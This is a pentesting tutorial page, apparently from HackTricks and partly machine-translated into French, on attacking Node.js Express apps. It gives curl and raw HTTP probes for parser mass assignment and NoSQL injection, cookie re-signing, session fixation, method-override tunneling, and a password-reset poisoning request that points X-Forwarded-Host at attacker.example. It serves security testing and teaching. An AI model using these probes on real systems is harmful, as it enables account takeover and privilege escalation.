NodeJS Express
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Quick Fingerprinting
Indicateurs Express utiles pendant recon :
X-Powered-By: Expressor stack traces mentioningexpress,body-parser,qs,cookie-parser,express-session, orfinalhandler- Cookies prefixed with
s:(signed cookie) orj:(JSON cookie) - Session cookies such as
connect.sid - Hidden form fields or query parameters such as
_method=PUT/_method=DELETE - Error pages leaking
Cannot GET /path,Cannot POST /path,Unexpected tokeninbody-parser, orURIErrorduring query parsing
When you confirm Express, focus on the middleware chain, because most interesting bugs come from parsers, proxy trust, session handling, and method-tunneling rather than from the framework core itself.
Cookie Signature
The tool https://github.com/DigitalInterruption/cookie-monster est un utilitaire pour automatiser le testing et la re-signature des secrets de cookie Express.js.
Express commonly exposes two useful cookie formats:
s:<value>.<sig>cookies signés gérés parcookie-parserouexpress-sessionj:<json>cookies JSON qui sont automatiquement parsés parcookie-parser
If cookie-parser receives a signed cookie and the signature is invalid, the value becomes false instead of the tampered value. If the application accepts an array of secrets, old secrets may still verify existing cookies after rotation.
Single cookie with a specific name
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
Wordlist personnalisée
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
Tester plusieurs cookies en mode batch
cookie-monster -b -f cookies.json
Tester plusieurs cookies en batch mode avec une wordlist personnalisée
cookie-monster -b -f cookies.json -w custom.lst
Encoder et signer un nouveau cookie
Si vous connaissez le secret, vous pouvez signer le cookie.
cookie-monster -e -f new_cookie.json -k secret
Abus du Query String et du parseur URL-encodé
Les cibles Express deviennent souvent intéressantes lorsqu’elles analysent des clés contrôlées par un attaquant en objets imbriqués.
req.querypeut être configuré avec différents parseurs, y comprisqsexpress.urlencoded({ extended: true })utilise un parsing de typeqspourapplication/x-www-form-urlencoded- L’analyse imbriquée permet d’ouvrir la voie à object injection, mass assignment, NoSQL injection et prototype pollution si l’objet parsé est fusionné dans l’état de l’application
Payloads pratiques à essayer :
# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'
# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'
# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update' -H 'Content-Type: application/x-www-form-urlencoded' --data 'profile[role]=admin&filters[$ne]=x'
Si l’application reflète ou persiste l’objet résultant, passez aux pages dédiées pour les détails d’exploitation :
Express Prototype Pollution Gadgets
Tests supplémentaires à envoyer spécifiquement contre Express :
- Imbrication profonde pour rechercher des limites du parseur, des timeouts, ou des différences 400/413
- Clés dupliquées pour vérifier si l’application conserve la première valeur, la dernière, ou un tableau
- La syntaxe entre crochets comme
a[b][c]=1, la syntaxe pointée commea.b=1, et les payloads__proto__/constructor[prototype]
Abus de trust proxy
Si l’application utilise app.set("trust proxy", true) ou fait confiance à trop de sauts, Express dérivera des valeurs pertinentes pour la sécurité à partir des en-têtes de forwarding. Si le reverse proxy ne les écrase pas, un client peut les usurper directement.
Cela affecte :
req.hostnameviaX-Forwarded-Hostreq.protocolviaX-Forwarded-Protoreq.ip/req.ipsviaX-Forwarded-For
Cela est utile pour :
- Password reset poisoning and absolute URL poisoning
- Bypassing IP-based allowlists, rate limits, or audit trails
- Influencer le traitement des cookies
secureet la logique HTTPS-only dans les apps qui s’appuient surreq.protocol - Poisoning redirects or cacheable responses when the app templates absolute links with forwarded host/proto headers
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json
{"email":"victim@target.example"}
Vérifiez si les liens générés, les emplacements de redirection, les logs ou les décisions de contrôle d’accès utilisent désormais des valeurs fournies par l’attaquant.
Related pages:
Reset/Forgotten Password Bypass
Cache Poisoning and Cache Deception
Notes de test pour express-session
Les déploiements courants d’Express utilisent express-session, qui signe le cookie d’identifiant de session mais stocke l’état réel côté serveur.
Vérifications utiles :
- Session fixation : authentifiez-vous avec un cookie pré-login et vérifiez si le SID reste le même après la connexion
- Weak secret rotation : certains déploiements vérifient les cookies avec un tableau d’anciens secrets, donc des signatures auparavant valides peuvent continuer de fonctionner
saveUninitialized: true: l’application émet des sessions pré-auth pour des utilisateurs anonymes, ce qui facilite la fixation et augmente la surface de session pour des attaques par brute-force ou l’analyse du cacheMemoryStoreen production indique généralement une maturité opérationnelle faible et un comportement des sessions instable lors des redémarrages
Un workflow pratique pour la session fixation :
- Obtenez un cookie de session anonyme depuis la cible.
- Envoyez ce cookie à une victime ou utilisez-le pour vous authentifier vous-même.
- Vérifiez si la connexion associe l’état authentifié au SID existant.
- Si c’est le cas, rejouez le même cookie dans une session de navigateur séparée.
Si l’app n’appelle pas req.session.regenerate() après l’authentification, la fixation est souvent encore possible.
Tunneling via method-override
Certaines apps Express utilisent method-override pour tunneliser des verbes que les formulaires HTML ne peuvent pas envoyer nativement. Lorsqu’il est activé, testez toujours si vous pouvez faire passer en contrebande des méthodes dangereuses via une route que le front-end, le WAF, ou la logique CSRF supposait être uniquement POST.
Sondes typiques :
POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded
confirm=yes
POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
role=admin
Impacts intéressants :
- Accéder à des routes cachées
PUT/PATCH/DELETEvia un edge control limité àPOST - Contourner un middleware spécifique à une route qui ne vérifie que
req.method - Déclencher des handlers modifiant l’état via CSRF lorsque l’application ne valide que la méthode externe de la requête
Par défaut, le middleware ne remplace généralement que POST, donc privilégiez les requêtes POST avec header, body, and query-string override values.
Références
- https://expressjs.com/en/guide/behind-proxies.html
- https://portswigger.net/research/server-side-prototype-pollution
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


